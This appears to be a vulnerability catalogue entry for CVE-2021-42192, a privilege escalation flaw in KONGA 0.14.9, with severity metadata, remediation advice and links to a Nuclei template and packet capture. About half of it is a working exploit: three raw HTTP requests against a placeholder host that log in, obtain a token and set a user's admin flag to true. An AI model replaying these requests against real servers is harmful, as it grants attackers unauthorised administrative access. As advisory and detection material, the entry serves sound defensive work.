| Title | KONGA 0.14.9 - Privilege Escalation |
|---|---|
| Author | rschio |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information or perform unauthorized actions. |
| Remediation | Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor. |
| CVSS Score | 8.8 |
| EPSS Score | 0.24025 |
| CVE ID | CVE-2021-42192 |
| CWE ID | CWE-863 |
| Tags | cve2021 cve authenticated edb konga intrusive konga_project vuln |
KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
POST /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Connection: close
Content-Length: 46
Content-Type: application/json
Accept-Encoding: gzip
{"password": "g9F8Pe", "identifier": "GoU0Pv"}
POST /api/user/GniS0d HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.3 Safari/605.1.15
Connection: close
Content-Length: 19
Content-Type: application/json;charset=utf-8
Origin: http://www.victim.com
Referer: http://www.victim.com
Accept-Encoding: gzip
{"token": "77etd2"}
PUT /api/user/GniS0d HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Connection: close
Content-Length: 129
Content-Type: application/json;charset=utf-8
Origin: http://www.victim.com
Referer: http://www.victim.com
Accept-Encoding: gzip
{"admin": "true", "passports": {"password": "g9F8Pe", "protocol": "local"}, "token": "77etd2", "password_confirmation": "g9F8Pe"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42192.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-42192.pcap
N/AN/A